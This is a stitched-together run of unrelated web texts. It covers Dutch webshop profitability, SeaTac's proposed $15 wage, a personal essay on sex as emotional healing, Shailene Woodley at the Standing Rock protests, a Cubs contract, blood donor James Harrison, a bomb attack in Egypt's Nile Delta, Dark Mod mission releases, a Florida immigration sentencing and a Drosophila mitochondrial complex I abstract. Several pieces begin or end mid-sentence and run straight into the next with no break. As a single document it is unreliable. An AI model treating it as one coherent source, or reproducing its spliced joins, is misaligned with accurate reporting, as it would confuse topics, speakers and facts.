Maar hoe scheutig de webreuzen zijn met omzetcijfers, zo spaarzaam geven ze een inkijkje in hun winst- en verliesrekening. Van Tellingen deed samen met collega’s een poging zo goed mogelijk inzicht te krijgen in de winsten van de genoemde online retailers. Zijn conclusie: er wordt vooral verlies geleden. En hoe hoger de omzet, des te groter het verlies. Volgens Van Tellingen is winst maken bijna een uitzondering in webwinkel-land: maar liefst 80% van alle webshop-ondernemers heeft nog nooit een modaal inkomen verdiend, zo bleek uit eerder onderzoek. En als er winsten worden gerapporteerd dan zijn ze uiterst beperkt. Vooral Zalando maakt het bont, stelt Van Tellingen. Ieder jaar meldt de online schoenengigant aan het begin van het jaar een winst, om die later in het jaar weer te herroepen. Omdat er extra kosten zijn die van de brutowinst moeten worden afgetrokken.
Ook naar de precieze cijfers van de grote webwinkels in eigen land is het gissen. Het blad Quote wist vorige week op basis van bij de Kamer van Koophandel gedeponeerde jaarrekeningen te melden dat Coolblue vorig jaar een schamele winst had geboekt van 3 miljoen euro, een halvering ten opzichte van 2014. Veel webshops maken niet eens bekend hoeveel winst of verlies ze precies maken. Zo zijn de cijfers van Bol.com versleuteld in die van moederbedrijf Ahold. CEO Dick Boer van Ahold sprak in 2012 bij de overname van Bol van een ‘winstgevende overname’, die direct zou bijdragen aan de winst per aandeel. Duidelijk is dat Bol sindsdien nog geen enkel jaar winst maakte. Maar, zo zegt Bol.com-CEO Daniel Ropers tegen EenVandaag: dat is een bewuste, zelfs strategische keuze.
Maar strategie of niet, gáát Bol.com nog wel winst maken? Kán Bol wel winst maken? Die vragen stelt marketingdeskundige Tadek Solarz in een kritisch blog waarin hij uiteen zet hoe de vorige eigenaren van Bol zich aan het internetbedrijf vertilden. Volgens hem gaat ook Ahold spijt krijgen van de overname. Zo drukten in 2014 de verliezen van Bol.com de marges bij Ahold met 0,3 procent.,,Dat lijkt weinig”, schrijft Solarz,,,maar in een branche waar je geld verdient met 0,00001 procent marge op een krop sla zijn het pijnlijke cijfers.” Hij rekende uit dat Bol.com er in zijn zestienjarig bestaan dankzij alle investeringen en verliezen meer dan een miljard (!) euro doorheen joeg zonder een euro resultaat.
“Ik vraag me zelf ook wel eens af: hoe kan dit uit?” Steven Kersbergen is directeur van Fulfillment Solutions, een groot logistiek centrum dat de verzending van producten voor webshops voor zijn rekening neemt. Robotkarretjes schieten heen en weer om zojuist bestelde producten op de juiste plek van bestemming te krijgen. De kaalslag die zich in de winkelstraten voltrekt, vindt volgens hem ook plaats bij webshops. “Het is een komen en gaan. Het is een grillige markt.” Veel winkeliers denken dat ze een webshop er wel even bij doen, zegt Kersbergen. En proberen vervolgens mee te gaan in een markt die gedicteerd wordt door de Zalando’s en Coolblues. Met gratis verzendkosten, en gratis retouren. “Maar het is niet gratis, er zijn kosten aan verbonden. En iemand moet die opbrengen.”
Retourzendingen zijn dé achilleshiel van de online retailers. Er is hen veel aan gelegen om het aantal zoveel mogelijk in te perken: betere foto’s, virtuele paskamers, apps waarmee de klant een 3D afbeelding van zijn voet kan maken. Maar kenners zijn sceptisch of de techniek de hoge retourpercentages – bij Zalando naar verluidt wel 70 procent – kan terugdringen. En dus blijven de webshops vastzitten aan de hoge retourkosten. “Het uitsturen van goederen is voorspelbaar, en goed te organiseren”, zegt Kersbergen. “Maar retourzendingen zijn veel ingewikkelder. Dat kan niet met robots, daar moet een mens aan te pas komen. Dan moet je kijken of de broek die wordt terug gestuurd ook wel echt de broek is die verkocht is, en niet een oude broek van de klant. Of controleren of hij niet gedragen is.”
“Moet jij geen webshop hebben?” Rick Moorman, modeondernemer in Amsterdam, kreeg de vraag van zijn bank toen hij voor financiering aanklopte voor het openen van een nieuwe zaak. De bank speelde het hoog op, maar Moorman hield zijn poot stijf. “Ik heb geen webshop, want dat kóst me alleen maar geld. Iedereen roept nu over V&D: ze zijn failliet omdat ze geen goede internetstrategie hadden. Ik zeg: hadden ze het geld dat ze in online hebben gestoken maar in de winkels geïnvesteerd, dan waren ze er nu misschien nog geweest.”
Banken zijn, zo stelt Hans van Tellingen, nog steeds in de ban van het ‘2012-denken’. Volgens hem zijn vooral Rabobank en ING echte ‘webbelievers’. Zij zouden het openen van een webshop zelfs als harde eis stellen voor het verstrekken van een financiering. ”De banken ontkennen het, maar ik heb het van verschillende retailondernemers gehoord.” Het zijn dezelfde banken die, samen met andere financiers, geld blijven steken in de ‘bodemloze put’ die de pure webshops in de ogen van Van Tellingen vormen. Ze maximaliseren hun omzet, zonder maar een euro winst te maken. Toch bestaan Zalando, Amazon en Bol.com nog steeds. Volgens van Tellingen dankzij ‘The Wall of Money’, waar het geld ‘tegen de plinten klotst’. Financiers blijven de portemonnee trekken, maar ergens houdt dat een keer op. Van Tellingen waarschuwt voor het uiteenspatten van de zeepbel, die in zijn ogen trekken vertoont van de ‘dot.com’-crisis rond de eeuwwisseling. De grote vraag is volgens hem: wanneer gaat de bubbel barsten?
Terug naar Cor Molenaar, die vier jaar geleden nog een doembeeld schetste over de toekomst van onze winkelcentra. Hij is niet onder de indruk van de bespiegelingen van Van Tellingen. “Hij heeft een vastgoedachtergrond, hij preekt voor eigen parochie.” Maar hoe zat het ook alweer met zijn eigen voorspellingen? Eén op de drie winkels zou verdwijnen, het aantal leegstaande vierkante meters zou verviervoudigen naar het duizelingwekkende aantal van 8 miljoen. Wie de actuele cijfers erbij pakt ziet dat het door Molenaar geschetste schrikbeeld niet is uitgekomen. Zo daalde het aantal winkels niet met dertig, maar netto met zo’n vijf procent sinds 2012. En het aantal lege winkelvloermeters staat niet op de door hem voorziene 8 miljoen, maar op een kleine 3 miljoen. Zat hij er niet een beetje naast? “Sorry”, stamelt hij, “maar als je om je heen kijkt kan je toch niet zeggen dat er niets aan de hand is?” Volgens Molenaar is de leegstand hoger dan de officiële cijfers doen vermoeden. “Heel veel winkelruimte heeft ook een andere bestemming gekregen, die staan niet meer in de statistieken.” Toch moet ook Molenaar erkennen dat het belang dat aan een webshops werd gehecht in het verleden misschien wat is overdreven. “Maar internet heeft het winkelen blijvend veranderd, en dat gaat ook niet meer weg. De trend is duidelijk voor retailondernemers: het is aanpassen of afhaken.”Media playback is unsupported on your device Media caption SeaTac in Washington state could become the first US city to introduce a "living wage", as Samira Hussain reports
SeaTac, Washington, is an unremarkable town that's become remarkable.
Made up of fast-food restaurants and hotels that cater to the town's eponymous airport, it's mostly a stopover for people in transit, a throughway on the 25-minute drive to Seattle.
But even those passing through cannot miss the alternating blue and green signs that now dot almost every lawn, billboard, and shop window of this suburb.
The signs urge residents to vote yes - or vote no - for Proposition 1, a measure that, if passed, would raise the minimum wage here to $15 (£9.40) an hour.
That would mark a 63% increase over the current minimum wage of $9.19 |
his long-term partner; and one had just buried his only brother a few weeks before. All were split open by the realities of their situations. None of them could muster the wherewithal to resist their desire to return to the womb, which for most of us, only fully happens in sex.
I remember a particularly potent time when I discovered how healing sex could be.
In the dead of night I woke up next to him feeling him awake, stirring and not at ease. He was clearly wrestling with his demons and seemed more than a little embarrassed to be witnessed in this vulnerable place. When I turned to him he brushed me off, saying “this happens sometimes, go back to sleep,” but everything in me awoke further and moved toward him. He let me hold him, and then soft sobs came. Then bigger ones. We moved wordlessly into a kind of reenactment of something from his past, though I didn’t know what it was.
I was his mother; I was his friend; I was his lover; I was his angel; I was something indefinable, fluid and totally willing.
After a long time the spontaneous drama between us began to slow and I cradled his head on my bare breasts. It felt right. His sobs subsided and he began to root for my breast with his mouth. That felt right too. For a while we were on an edge of not knowing if this was mother-child or lover-lover and that, I think, is where the healing was. He was like a baby, totally owning his right to his Mom, to nurse, be loved and nourished. Then, after a while, he transformed into my lover, owning his right to love me, to take me, and we communed in love-making in a way that is both impossible and too beautiful to describe.
In playing out this drama there was some kind of completion.
We seemed to go all the way to a core vulnerability and then make the full journey home, without skipping any steps—moving, making sounds, being witnessed, total union, feeling, touching, and healing the impact that this wounding had had on every level. After a long journey, we finally came home to hear the perfect sound of a gate clicking shut. Something primal had come to completion.
It was as though we had entered a different world, one in which all of our needs were met—finally.
We didn’t orchestrate any of this. It happened all on its own—the same way that gashes in our skin heal themselves, naturally and organically. Something healed in me too, though I cannot tell you what. Maybe it was being so let in to the visceral healing of someone else, or maybe it was experiencing my own healing vicariously as he got his deepest needs met through me. But my best guess is that entering a non-dual space together—one that is so connected on every level that the word “connected” no longer applies—is just inherently healing.
Since that time, I have had other experiences of the closest kind of healing, the kind that can only happen through sexual union. Truly deep sex reaches our baby selves as well as our adult selves, and everything in between. It invites every vulnerability, grief and memory of harm that has ever come to us—and how else can healing happen, except to expose and then care for the wound?
Through these encounters it began to occur to me that only in sex do we touch each other in the same place that we were conceived, that we were born, that we were nursed, and only in sex can we be held, adored and physically met in that same place. Perhaps that kind of sex is the only way that certain kinds of healing can take place. Our bodies themselves need to know that we are truly met, along with our hearts and minds.
You can’t lie about it. The body knows when it can trust all the way down to the core, and being met on the inside is perhaps the only way to touch, love and heal such wounds.
Another, slightly different version of this kind of healing happened when I met a man whose marriage had just ended, and he was still reeling, unnerved and open. I felt an intense draw toward him, though I could see that it wasn’t personal for me—it wasn’t about “starting a relationship”—and yet something was calling me to take him in.
It reminded me of the time I nursed my niece when her mother was away longer than expected and she cried with hunger and need of comfort. For a moment I thought it would be odd to nurse her because she wasn’t “mine,” but as she suckled what struck me was how totally normal it was. Without a moment’s hesitation she availed herself of me and I lovingly gave what was needed, discovering an unanticipated feeling of rightness.
This man wasn’t “mine” either, and I don’t mean that in a possessive way. I mean that I sensed it was unlikely that the meaning of our connection had to do with each other personally.
When I made love to this man, a man in transition, raw and open, it wasn’t selfish—I wasn’t looking for what I could get out of it. I was meeting him not just physically, but on multiple, unspoken levels including, “you are welcome; you are lovable; you are wanted; you deserve; it’s not your fault; there’s nothing wrong with you; I love you,” and many more. I wasn’t thinking this or making it up, and I didn’t speak any of it. What communication we had arose wordlessly, spontaneously and offered itself honestly through our love-making.
It happened again, just a few weeks ago.
A man I’d known for some time had just returned from burying his young brother and unsurprisingly he was changed. I had liked him and felt connected to him before, but now his being was ripped open in a way that he couldn’t dress up or hide. His innocence shone brightly as he showed up, simple and astonished, clearly lacking any ability to comprehend what had just happened.
There is a quote from the movie, Under the Tuscan Sun, when the Italian, Martini, says to recently divorced Frances, “Please stop being so sad. If you continue like this I will be forced to make love to you. And I’ve never been unfaithful to my wife.”
Openness and true need invite the light of the sun.
This man received my loving him in a way that I had not experienced with him before. He asked me to kiss him and kiss him and kiss him as he dissolved. He knew exactly what he needed, and again I was reminded of an infant, powerfully, clearly and innocently demanding just what he requires. This man needed to be not only met sexually but to know that he was loved at the same time, and because his heart was ripped open by death he had no choice but to let go enough to allow his full vulnerability into the mix. He let himself be loved all the way through.
Nothing else touches our core wounds like true presence making love to us, the full communion of body, heart and perhaps some levels that we don’t yet have names for.
When someone takes us in that completely only then do we know that we are truly welcomed, that all of our being is totally loved. As children, most of missed the full connection we needed—being held, soothed, breast-fed, co-sleeping, as well as just the basics of physical and emotional ease and safety with our parents. Many of us were pushed away, yelled at, punished, blamed, hit, shamed, or undermined—and sometimes even brutalized or incested—at a time when we were the most vulnerable.
Being treated this way is deeply in contrast to our normal, human need for comfort, love and safety. It appears to me that the way to heal some of those wounds is by reversing the way that they were inflicted—by being deeply, honestly met in the most intimate of ways.
We long for communion with each other, with one who genuinely wants our best interests—something very much the opposite of exploiting or being exploited. When we finally know in our cells that we are deeply wanted and loved, and that no harm will come to us, only then does something let go and healing can happen.
Union will do that.
Relephant:
Love elephant and want to go steady?
Editorial Assistant: Alicia Wozniak / Editor: Renée Picard
Photos: Flickr/Sheri Samson, elephant journal archivesShailene Woodley spent Thanksgiving alongside hundreds of protesters opposing the Dakota Access pipeline at the Standing Rock Sioux Reservation.
The 25-year-old outspoken actress spoke with TYT Politics on Thursday, fighting back tears as she criticized the American holiday.
WATCH: Shailene Woodley Arrested at Protest Over Dakota Access Pipeline
"I do know that today is a day that many call Thanksgiving, and it's a day where kids in elementary school and America are taught false narratives about our native brothers and sisters," she explained in a video posted to Facebook. "From the time we were little kids, we'd cut out in cardboard paper pictures of pilgrims and feasts and turkeys. And yet none of our children know the truth about not only what happened to Native Americans, when Westerners decided to colonize this country, but what is still happening to Native Americans."
"This pipeline, and I know this has been said, but like, gosh, this pipeline was supposed to be built in Bismarck, N.D.," she continued, "which is a predominately white 'American' area. And when the people of Bismarck decided that if this pipeline — when this pipeline breaks — it would compromise the integrity of their water, they moved it to the Native American reservation. They didn't do it, they failed to, and we're still here, on Thanksgiving, again the day that no one knows the history about."
"Thanksgiving was founded on a massacre," she added. "And yet we're here with these cops, with snipers with rubber bullets, and I'm honest — I'm just sick of it. There is no excuse. Where is everyone? Why isn't everyone standing up and saying something?"
WATCH: Shailene Woodley Pleads Not Guilty to All Charges in Dakota Access Pipeline Arrest
Woodley, who was joined by actresses Nikki Reed and Jane Fonda, later took to her own Facebook page to share a few additional videos filmed live from the reservation. "I just invite every single person who's watching from home to investigate and research what this holiday means, why this holiday exists and what you're going to do to reframe that narrative, and to change that narrative, for your future ancestors," the Snowden star urged her followers.
She also shared a photo from Sunday night "when protectors were sprayed in subzero temperatures with water, tear gas, mace, rubber bullets, bean bag bullets, percussion grenades."
According to The New York Times, federal officials plan to close access to the protest campsite, citing safety concerns. The authorities will close the area north of the Cannonball River, the NYT reports, including the Oceti Sakowin camp, about 40 miles south of Bismarck, where opponents of the 1,170-mile Dakota Access Pipeline have gathered for months. Anyone found on the land after Dec. 5 could be charged with trespassing.
WATCH: 'The Avengers' Stars Band Together to Stand With Standing Rock
"It is both unfortunate and disrespectful that this announcement comes the day after this country celebrates Thanksgiving — a historic exchange between Native Americans and the first immigrants from Europe," Dave Archambault II, chairman of the Standing Rock Sioux Tribe, said in a statement. "Although the news is saddening, it is not all surprising given the last 500 years of mistreatment of our people."
Back in October, Woodley was arrested for criminal trespassing while protesting the construction of the project. She has pleaded not guilty to criminal trespass and engaging in a riot, both misdemeanors that carry a maximum punishment of a month in jail and a $1,500 fine.
"One day, baby, we'll sing our poetry. The words dripping from our tongues wet with ripened patience," she wrote on Instagram one day after her arrest. "And the lyrics, the sweet fruits born from the seeds our aging hands are now sowing. #alwaysinallways #heartforward #uptous #NoDAPL #protectcleanwater #iamonyourside."|
As ET previously reported, the peaceful protest, which was streamed on Facebook Live, followed a federal judge's ruling on Sunday that rejected the Standing Rock Sioux Tribe's request to halt construction on the pipeline, which they claim will destroy sacred sites and contaminate ground water.
WATCH: Shailene Woodley Breaks Her Silence After Being Arrested While Protesting the Dakota Access Pipeline
Woodley and other protestors joined the tribe to stand against the $3.8 billion pipeline, which will span 1,100 miles across North and South Dakota, and into the Missouri River.
Watch more in the video below.
Related ArticlesThe Chicago Cubs and pitcher Edwin Jackson agreed to terms on a four-year, $52 million deal, a source told ESPN's Jim Bowden on Thursday.
Jackson, 29, was 10-11 with a 4.03 ERA in 31 starts (189 2/3 innings) with the Washington Nationals in 2012. The Nationals did not make a qualifying offer to Jackson, so they won't get any draft-pick compensation should he leave.
Jackson's deal includes an $8 million signing bonus with annual salaries of $11 million per year, according to a Cubs source.
The Cubs added another right-handed pitcher in Carlos Villanueva, who has agreed to a two-year contract, a major league source told ESPNChicago.com's Bruce Levine. The deal is pending a physical.
Villanueva, 29, was 7-7 with a 4.16 ERA in 38 appearances with the Toronto Blue Jays in 2012, including 16 starts.An elderly Australian known as "the man with the golden arm" is credited with saving the lives of 2 million babies because of an anomaly inside his veins.
Central Coast man James Harrison's, 78, lifelong blood donations have provided necessary antibodies to fight the deadly rhesus disease that can kill babies in the womb.
The priceless liquid can be traced back to a childhood operation to remove one of Mr Harrison's lungs.
"In 1951, I had a chest operation where they removed a lung — and I was 14," Mr Harrison told CNN.
"When I came out of the operation, or a couple days after, my father was explaining what had happened.
"He said I had (received) 13 units (litres) of blood and my life had been saved by unknown people. He was a donor himself, so I said when I'm old enough I'll become a blood donor."
In Mr Harrison's blood doctors found a rare blood type that carried rhesus-negative cells which had never been seen before which, according to the Red Cross, would go on to save millions of lives from the disease.
"In Australia, up until about 1967, there were literally thousands of babies dying each year, doctors didn't know why, and it was awful," said Jemma Falkenmire of the Australian Red Cross Blood Service.
The disease would attack in utero babies when the 17 percent of mothers with rhesus-negative blood were paired with a father with rhesus-positive blood.
The mother's blood cells would attack the different blood cells in the foetus," Ms Falkenmire said.
"Women were having numerous miscarriages and babies were being born with brain damage.
"Australia was one of the first countries to discover a blood donor with this antibody, so it was quite revolutionary at the time."
Doctors are still not certain why Mr Harrison is one of a small number of people to carry the antibody, but they believe it resulted from the multiple transfusions he received when he was a teen.
Considered an "irreplaceable" national hero, Mr Harrison has donated his life-saving elixir more than 1000 times but says he "Never once have I watched the needle go in my arm."
© Nine Digital Pty Ltd 2019CAIRO/ANSHAS (Reuters) - A bomb exploded outside an Egyptian army building north of Cairo on Sunday, wounding four soldiers, the army said, in the second bomb attack on security forces in the Nile Delta in less than a week.
A damaged building is pictured after an explosion in Egypt's Nile Delta town of Anshas, about about 100 km (65 miles) northeast of Cairo, December 29, 2013. REUTERS/Stringer
The bomb partly destroyed the back wall of the military intelligence building in the village of Anshas, 100 km (60 miles) north of the capital.
The army described the bombing as a terrorist attack. Its statement referred to “groups of darkness” and did not name the Muslim Brotherhood, the Islamist group it declared a terrorist organization last week.
That decision was a response to a suicide bomb attack on Tuesday on a police compound in the Nile Delta city of Mansoura, north of the site of Sunday’s explosion.
The army-backed government has used the new classification to detain hundreds of the movement’s supporters and thousands more are already in jail. Some of those held in recent days are students, who have continued daily protests in spite of the increased penalties for loyalty to the Brotherhood.
The government had accused the Brotherhood of carrying out last week’s suicide bombing, which killed 16 people and for which a radical Sinai-based group called Ansar Bayt al-Maqdis claimed responsibility.
The Brotherhood, which says it is committed to peaceful activism, condemned the attack.
In Anshas, some residents blamed the Brotherhood for Sunday’s attack, saying the aim was to disrupt a mid-January referendum on a new constitution, the next step in the government’s political transition plan.
“The Brotherhood want to scare people so they don’t come out for the referendum,” Ahmed Salah said near the damaged building.
The two latest explosions point to the widening reach of militant attacks that have become commonplace since the army deposed Islamist President Mohamed Mursi in July.
Interim president Adly Mansour said on Sunday the government is committed to holding parliamentary and presidential elections within six months of approval of the new constitution.
That would see Egypt having an elected government by next summer to replace the one installed by the army after Mursi’s ouster.
Ansar Bayt al-Maqdis has claimed other attacks, including a failed attempt to kill the interior minister in September.
Related Coverage Egypt's president says elections within six months of constitution approval
Around 350 police and soldiers have been killed in bombings and shootings since Mursi was deposed, most of them in the Sinai Peninsula, where Islamist radicals expanded into a security vacuum left by Hosni Mubarak’s downfall in early 2011.
Security forces killed hundreds of Mursi’s supporters in the months after his removal and have arrested thousands more.
Three security sources said Sunday’s explosion came from a bomb near the building, but did not specify where it was planted. State-run Nile News TV station said it was a car bomb.
Five people were wounded by a blast near a bus in Cairo on Thursday. That bomb appeared to be the first targeting civilians, though there was no claim of responsibility saying what had been targeted.
The authorities say they have defused several other bombs in recent days, including one in a bag left outside a university building in the Nile Delta city of Damietta on Sunday.
MORE ATTACKS EXPECTED
Already high political tensions have escalated since last week’s suicide attack.
Some analysts say Egypt risks a protracted spell of Islamist attacks, as well as civil strife fuelled by friction between supporters and opponents of the Muslim Brotherhood. Street clashes have killed seven people in the past three days.
Student protesters battled police for a third day at Al-Azhar University, where the Brotherhood has rallied support.
Students allied to the Brotherhood say they are boycotting exams to protest the killing of classmates by security forces.
Security sources said 35 students were treated for the effects of tear gas fired by police during protests at Al-Azhar’s campus in the Delta city of Zagazig. Fifteen were hospitalized.
The government has declared itself in “a war on terror” as it steers Egypt towards elections that army chief Abdel Fattah al-Sisi, who led Mursi’s overthrow, is widely expected to win, although he has yet to declare his candidacy.
Ansar Bayt al-Maqdis emerged in North Sinai after Mubarak’s downfall, mounting attacks including a string of bombings targeting a pipeline used to export gas to Israel and Jordan.
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“There will be more (attacks). I don’t think that any factor has changed that would lessen the attacks at least in the short term,” said H.A. Hellyer, a Cairo-based fellow with the Royal United Services Institute.
“Those that oppose the army and want to see Mursi’s reinstatement go beyond the Muslim Brotherhood - and it is likely some non-Brotherhood Islamists have turned to violence, including, but not exclusively, those within the Ansar Bayt al Maqdis group,” he said.Crystal Grave
ERH+ originally released his mission "Kryształowy Grób" in his native Polish language. Those who ventured to try it were thrilled to find such an accomplished mission from outside the regular stable of authors. The arrival of this mission was amidst the turmoil that Tels had begun with the process to make The Dark Mod friendly to mufti-lingual support. It affirmed the value of having a good translation framework where converting missions to other languages benefits all involved.
Bikerdude, in his usual fashion, decided to evaluate the mission for possible optimizations and help out with the translation tasks. Now we are graced with a larger, more beautiful, and translated version which is quickly gaining accolades from mappers and players alike.
Intro:
"East of the Rahen Mountain, there is a swampy area, a
backwater of river Rahna. Approximately twenty years ago the Inventors
Guild began their effort to secure the rights to the land and presented
the construction projects of water dams and locks in endeavour to create
a water trails for flat-bottomed vessels.
The prospect of increased economic exchange between the plains and the
mountain settlements prevailed over the objections of displeased
neighbours and just five years later the water level in ponds allowed
for flow of barges.
Good mood of the local lord diminished though, as more and more crops
and farms disappeared under the water, wells began to stink, and
dysentery started to collect a heavy toll.
Guild excuses that thawing and hardship of communication with lock's
staff was to blame didn't resolve the crisis. What did, was a
compensation - a one-off shipment of nearly half a ton of rock crystals.
This aroused comments among people not normally interested in the
Inventors and their dealings.
People like me.
The trail leads to one of inaccessible facilities of the bulkhead
oversight in the network of ponds, where, the crystals are mined,
pre-processed and sorted out.
Several months later...
Crossing the flooded and deserted five furlongs in one-man boat was
risky enough, but I took my chances and tried to take the boat through
the lock, to be closer to the guardhouse. The bulkhead mechanism was too
complicated for one person to operate though.
Now I don't have the means to go back and water scattered my equipment
all over the pond. And with no boat the only way back is a walk along
the causeway towards the mountains, but for that I will need to get a
good supply of food and water, so not to loose my strength carrying the
loot."
Description:
Break in into castle infested by undead.
Known issues:
Low performance in few spots. Game sometimes freeze a bit in area around building.
Thanks:
TDM Team for great tool and their dedication in improving it.
Bikerdude for working out all bugs, optimisation, improving graphics and readables details.
Caer (from Polish Thief forum) for translating.
Testers: AluminumHaste, Baddcog, lowenz, nbohr1more, adriannn (PTF), Nivellen (PTF).
Other updates:
Old Habits and The Builder Roads
Powerhouse newcomer Obsttorte has released two excellent missions back to back. They are both well designed, visually appealing, and oozing with clever inspiration. Obsttorte's agility with Doom 3 scripting and his assistance with bug-fixing the Dark Radiant editor have landed him a Team Member role. We couldn't have been more fortunate to gain such a talented contributor.
Business as Usual v3
Bikerdude has been in the process of updating all his missions for 1.08. The first mission to go through this process was Business as Usual. He has transformed the mission into a winter theme and added winter touches learned and inspired by Grayman's "In the North". The mission is larger still than it's second iteration and features additional ambient music, expanded story details, improved AI and gameplay.NASSAU COUNTY, FL (First Coast News) -The American family of an illegal immigrant arrested after a traffic accident that killed a Nassau County sheriff’s deputy will move to El Salvador once the immigrant is sent back to that Central American nation, his wife said Friday.
“The only reason he came over here was for me and my kids. … I’m willing to pack up my stuff,” Viviana Portillo, a Texas native, said to explain her unusual choice. “I would do anything for my husband.”
Her husband, Francisco Portillo-Fuentes, was running from Deputy Eric Oliver in November when Oliver tried to cross Florida 200 in Yulee and was hit and killed by a passing car.
Portillo-Fuentes, 26, is scheduled to be sentenced Monday in federal court for reentering the country illegally after being caught and removed once before.
His attorney wrote to the judge this week to emphasize that Portillo-Fuentes didn’t mean to cause any harm.
“The instant he ran, all he was thinking about was being separated from his wife and children and the end of his dream,” Assistant Federal Defender Mark Rosenblum wrote in a memo filed ahead of the sentencing by U.S. District Judge Marcia Morales Howard.
The attorney told the judge Portillo-Fuentes “will think about Deputy Oliver and his family every day for the rest of his life. He wishes he had submitted to being taken into custody, rather than running away.”
Portillo-Fuentes pleaded guilty to the illegal reentry charge in December and faces a maximum of two years behind bars, followed by removal from the country.
Portillo-Fuentes has spent about 100 days locked up so far, and Rosenblum argued that time served plus seven days would meet the goals the law sets out for sentencing.
“While he instinctively ran away to avoid being taken into custody, he did not intend that harm come to Deputy Oliver, and the officer’s death was unforeseeable to him,” Rosenblum argued. “Mr. Portillo-Fuentes did not commit a separate crime by running away, or surely the state and/or federal government would have charged an offense.”
A State Attorney’s Office spokesman said the Florida Highway Patrol forwarded a report last week outlining facts about Oliver’s death, but that report is still being reviewed.
Although he slipped back into the country before, Rosenblum told the judge that after Oliver’s death, Portillo-Fuentes “understands that he will never again be able to return to the United States.”
…
Viviana Portillo said her husband’s mother is still in his hometown, Sonsonate.
To reunite with her husband, Portillo said she’ll bring the family’s five American-born children, ages 1 to 10, to Sonsonate once Portillo-Fuentes is removed from the U.S. For now, the children are living with grandparents in Texas.The flight muscles of Drosophila are highly enriched with mitochondria, but the mechanism by which mitochondrial complex I (CI) is assembled in this tissue has not been described. We report the mechanism of CI biogenesis in Drosophila flight muscles and show that it proceeds via the formation of ∼315, ∼550, and ∼815 kDa CI assembly intermediates. Additionally, we define specific roles for several CI subunits in the assembly process. In particular, we show that dNDUFS5 is required for converting an ∼700 kDa transient CI assembly intermediate into the ∼815 kDa assembly intermediate. Importantly, incorporation of dNDUFS5 into CI is necessary to stabilize or promote incorporation of dNDUFA10 into the complex. Our findings highlight the potential of studies of CI biogenesis in Drosophila to uncover the mechanism of CI assembly in vivo and establish Drosophila as a suitable model organism and resource for addressing questions relevant to CI biogenesis in humans.
We describe the mechanism of CI assembly in Drosophila flight muscles. Specifically, we show that many of the accessory subunits regulate specific stages of CI biogenesis in vivo, such that when their levels of expression are reduced, CI activity is diminished because of impaired CI assembly. We demonstrate that CI biogenesis in Drosophila involves the formation of ∼315, ∼550, and ∼815 kDa assembly intermediates, and that RNAi-mediated knockdown of either dNDUFS2 or dNDUFS3 decreases the amount of the ∼315 kDa assembly intermediate that is formed. Furthermore, we show that a specific accessory subunit, dNDUFA5, is required for the formation and/or stabilization of the ∼315 kDa assembly intermediate in vivo. Additionally, we define a specific role for another accessory subunit (dNDUFS5) and show that it is required for converting a transient CI assembly intermediate (an ∼700 kDa assembly intermediate) into the ∼815 kDa assembly intermediate, during one of the terminal steps of CI assembly. Four components of the mitochondrial CI assembly (MCIA) complex (dECSIT, dNDUFAF1, dACAD9, and dTIMMDC1) are associated with the ∼700 kDa assembly intermediate, further confirming that it is a true assembly intermediate in CI biogenesis. Importantly, incorporation of dNDUFS5 into CI is necessary to stabilize or promote incorporation of dNDUFA10 into the complex. We also identify several roles for many of the dNDUFB subunits. Altogether, our analyses reveal how studies of CI biogenesis in Drosophila can uncover mechanisms of CI assembly in vivo and establish Drosophila as an important genetically pliable model organism for addressing questions relevant to mammalian CI biogenesis.
Surprisingly, despite the outstanding genetic capabilities of Drosophila, a systematic genetic analysis of CI assembly has not been described in this organism. Instead, previous in vivo genetic analyses of the regulation of eukaryotic CI assembly have been performed, primarily in the aerobic fungus Neurospora crassa (). Although the N. crassa model of CI assembly is renowned for being the first system for which a model of CI assembly was described, there are notable deviations from the assembly pathway in mammalian systems (). Thus, it is important to develop additional genetically tractable CI assembly model systems that more closely resemble and recapitulate the human system. Importantly, Drosophila has a comparable number of CI subunits (similar to the human and bovine enzymes) and more than a dozen putative assembly factors, all of which have clear human orthologs, making it a suitable model organism for studying CI assembly. Studying CI assembly in Drosophila has the added advantage of being in an in vivo context, in which the effects of both developmental signals and environmental perturbations can be examined. Accordingly, we have analyzed the role of several nuclear-encoded CI subunits in CI assembly in Drosophila muscles.
CI has two major arms: a hydrophobic membrane arm and a hydrophilic peripheral arm that juts into the mitochondrial matrix. The two arms are oriented almost perpendicularly to each other, resulting in a characteristic boot or L-shaped structure (). Several cryoelectron microscopy density maps and higher resolution atomic structures of CI from various eukaryotes have recently been described (). The accessory subunits were found to form a cage around the core subunits and were particularly concentrated around the membrane domain. These observations lend further credence to the hypothesis that the accessory subunits may be involved in stabilizing the complex during or after biogenesis in vivo.
Mitochondrial complex I (CI) (NADH: ubiquinone oxidoreductase) is the first and largest of the electron transport chain complexes in the mitochondrion and has a molecular mass approaching 1 MDa (reviewed in). Human CI has 44 distinct subunits ( Table S1 ), 14 of which are directly involved in transferring electrons from NADH to ubiquinone or in generation of the membrane potential. Because these 14 subunits are conserved from bacteria to humans and form the catalytic centers of the enzyme, they are referred to as the core or central subunits. The 30 remaining subunits are referred to as accessory or supernumerary subunits because they are not directly involved in catalysis and are expressed to varying extents among eukaryotes ( Table S1 ) (reviewed in). A current hypothesis is that the accessory subunits may regulate reactive oxygen species (ROS) formation, complex assembly or stability, and cellular homeostasis in vivo. Of note, disease-causing mutations in several accessory subunits have been identified (), and genetic disruption of some accessory subunits in cell lines impairs CI assembly (). However, a definitive role for many of the accessory subunits in vivo remains to be established.
The ∼550 kDa assembly intermediate grows by the addition of more subunits to form a transient assembly intermediate of ∼700 kDa ( Figure 7 ); we postulate that dNDUFS5 is then incorporated at or just prior to this stage together with possibly dNDUFA10 to rapidly convert the ∼700 kDa assembly intermediate to the ∼815 kDa assembly intermediate, consisting of the complete P and Q modules ( Figure 7 ). Finally, the N module is added to produce the CI holoenzyme ( Figure 7 ).
